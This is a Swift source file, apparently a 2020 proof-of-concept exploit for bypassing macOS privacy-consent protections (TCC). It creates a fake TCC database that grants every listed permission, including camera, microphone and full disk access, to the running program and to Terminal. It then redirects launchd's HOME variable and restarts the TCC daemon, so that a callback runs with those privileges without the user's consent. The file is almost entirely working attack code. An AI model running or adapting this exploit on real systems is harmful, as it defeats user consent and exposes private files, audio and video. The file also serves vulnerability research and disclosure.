// // BypassTCC.swift // bypasstcc // // Created by Matt Shockley on 2/25/20. // Copyright © 2020 Matt Shockley. All rights reserved. // import Foundation let TMP_HOME = "/tmp/bypass" let TCC_DATA_PATH = "\(TMP_HOME)/Library/Application Support/com.apple.TCC" let TCC_DB_PATH = "\(TCC_DATA_PATH)/TCC.db" let TCC_BUNDLE_ID = "com.apple.tccd" // codesign -d -r- "APP_PATH" 2>&1 | awk -F ' => ' '/designated/{log $2}' | csreq -r- -b /tmp/csreq.bin && xxd -p /tmp/csreq.bin | tr -d '\n' let TERMINAL_BUNDLE_ID = "com.apple.Terminal" let TERMINAL_CSREQ = "fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003" // default database created whenever the TCC daemon can't find one already existing let CREATE_DB = """ PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL); INSERT INTO admin VALUES('version',15); CREATE TABLE policies ( id INTEGER NOT NULL PRIMARY KEY, bundle_id TEXT NOT NULL, uuid TEXT NOT NULL, display TEXT NOT NULL, UNIQUE (bundle_id, uuid)); CREATE TABLE active_policy ( client TEXT NOT NULL, client_type INTEGER NOT NULL, policy_id INTEGER NOT NULL, PRIMARY KEY (client, client_type), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE); CREATE TABLE access ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, allowed INTEGER NOT NULL, prompt_count INTEGER NOT NULL, csreq BLOB, policy_id INTEGER, indirect_object_identifier_type INTEGER, indirect_object_identifier TEXT, indirect_object_code_identity BLOB, flags INTEGER, last_modified INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type, indirect_object_identifier), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE); CREATE TABLE access_overrides ( service TEXT NOT NULL PRIMARY KEY); CREATE TABLE expired ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, csreq BLOB, last_modified INTEGER NOT NULL , expired_at INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type)); CREATE INDEX active_policy_id ON active_policy(policy_id); COMMIT; """ // strings /System/Library/PrivateFrameworks/TCC.framework/TCC /System/Library/PrivateFrameworks/TCC.framework/Resources/tccd | grep -i ktccservice let ALL_TCC_SERVICES = ["kTCCServiceCamera", "kTCCServiceSensorKitMessageUsage", "kTCCServiceSensorKitSpeechMetrics", "kTCCServiceBluetoothAlways", "kTCCServiceSiri", "kTCCServiceSensorKitMotionHeartRate", "kTCCServiceLinkedIn", "kTCCServiceMicrophone", "kTCCServiceAll", "kTCCServiceScreenCapture", "kTCCServiceContactsLimited", "kTCCServiceSystemPolicyRemovableVolumes", "kTCCServiceSensorKitWatchForegroundAppCategory", "kTCCServiceAccessibility", "kTCCServiceCalls", "kTCCServiceSensorKitWatchOnWristState", "kTCCServiceMSO", "kTCCServiceSensorKitForegroundAppCategory", "kTCCServiceSensorKitWatchMotion", "kTCCServiceTencentWeibo", "kTCCServiceAddressBook", "kTCCServiceAppleEvents", "kTCCServiceSensorKitWatchPedometer", "kTCCServiceSystemPolicyDocumentsFolder", "kTCCServiceBluetoothWhileInUse", "kTCCService", "kTCCServiceShareKit", "kTCCServiceSensorKitWatchHeartRate", "kTCCServiceMotion", "kTCCServiceBluetoothPeripheral", "kTCCServiceCalendar", "kTCCServiceSensorKitPhoneUsage", "kTCCServicePhotos", "kTCCServiceContactsFull", "kTCCServiceSystemPolicyDeveloperFiles", "kTCCServicePostEvent", "kTCCServiceSensorKitDeviceUsage", "kTCCServiceFacebook", "kTCCServiceSinaWeibo", "kTCCServiceSpeechRecognition", "kTCCServiceSystemPolicyDesktopFolder", "kTCCServiceTwitter", "kTCCServiceSensorKitElevation", "kTCCServiceReminders", "kTCCServiceLocation", "kTCCServiceSensorKitMotion", "kTCCServiceSensorKitKeyboardMetrics", "kTCCServiceDeveloperTool", "kTCCServiceLiverpool", "kTCCServicePhotosAdd", "kTCCServiceSensorKitWatchAmbientLightSensor", "kTCCServiceUbiquity", "kTCCServiceFaceID", "kTCCServiceSensorKitStrideCalibration", "kTCCServiceSensorKitWatchSpeechMetrics", "kTCCServiceSensorKitAmbientLightSensor", "kTCCServiceSensorKitLocationMetrics", "kTCCServiceSystemPolicyAllFiles", "kTCCServiceListenEvent", "kTCCServiceSensorKitPedometer", "kTCCServiceSensorKitWatchFallStats", "kTCCServiceFileProviderDomain", "kTCCServiceSystemPolicyNetworkVolumes", "kTCCServiceSensorKitOdometer", "kTCCServiceSystemPolicySysAdminFiles", "kTCCServiceWillow", "kTCCServiceFileProviderPresence", "kTCCServiceMediaLibrary", "kTCCServiceKeyboardNetwork", "kTCCServiceSystemPolicyDownloadsFolder"] class BypassTCC { // who doesn't love singletons in PoC code? static let shared = BypassTCC() // executes another program and waits for the output private func runCommand(path: String, arguments: [String]) { let task = Process() task.executableURL = URL(fileURLWithPath: path) task.arguments = arguments let pipe = Pipe() task.standardOutput = pipe task.standardError = pipe try? task.run() task.waitUntilExit() } // create a query to modify the database with whatever kTCCService entitlement we want private func givePermission(service: String, bundleid: String, csreq: String = "", bundleidIsPath: Bool = true) -> String { // expire 1 year from today let perm_timestamp = Int(Date().timeIntervalSince1970 + (60 * 60 * 24 * 365)) let isfile = bundleidIsPath ? 1 : 0; let sql = "INSERT INTO access VALUES('\(service)', '\(bundleid)', \(isfile), 1, 1, X'\(csreq)', NULL, NULL, 'UNUSED', NULL, NULL, \(perm_timestamp));" return sql } // I'm sure there's probably a more Swift-y way to do this private func log(_ out: String) { let stderr = FileHandle.standardError stderr.write((out + "\n").data(using: .utf8)!) } public func run(exec_path: String, priviledged_cb: () -> Void) { log("Starting Bypass!") do { // let's attempt to create our fake TCC directory structure that mimics the one in ~/Library/Application Support/com.apple.TCC log("- Creating fake com.apple.tcc directory") try FileManager.default.createDirectory(atPath: TCC_DATA_PATH, withIntermediateDirectories: true) defer { log("- Destroying fake com.apple.tcc directory") try? FileManager.default.removeItem(atPath: TMP_HOME) } // let's create a valid, empty TCC database for the daemon log("- Creating TCC Database") runCommand(path: "/usr/bin/sqlite3", arguments: [TCC_DB_PATH, CREATE_DB]) var queries: [String] = [] // let's give every entitlement to both this application and Terminal log("- Giving all kTCCService entitlements to '\(exec_path)'") for service in ALL_TCC_SERVICES { queries.append(givePermission(service: service, bundleid: "com.apple.Terminal", csreq: TERMINAL_CSREQ, bundleidIsPath: false)) queries.append(givePermission(service: service, bundleid: exec_path)) log("- Successfully gave '\(service)' entitlement") } // run all of those queries against the empty database runCommand(path: "/usr/bin/sqlite3", arguments: [TCC_DB_PATH, queries.joined()]) // we can just stop the user tccd service because the tccd system service will restart it when it needs it log("- Setting launchd HOME environment variable to \(TMP_HOME)") runCommand(path: "/bin/launchctl", arguments: ["setenv", "HOME", TMP_HOME]) log("- Restarting TCC daemon") runCommand(path: "/bin/launchctl", arguments: ["stop", TCC_BUNDLE_ID]) defer { log("- Unsetting launchd HOME environment variable and restarting TCC daemon") runCommand(path: "/bin/launchctl", arguments: ["unsetenv", "HOME"]) runCommand(path: "/bin/launchctl", arguments: ["stop", TCC_BUNDLE_ID]) } // any code run in the callback should be running with all TCC entitlements priviledged_cb() } catch { log("Unexpected error: \(error)") } log("Finished Bypass!") } }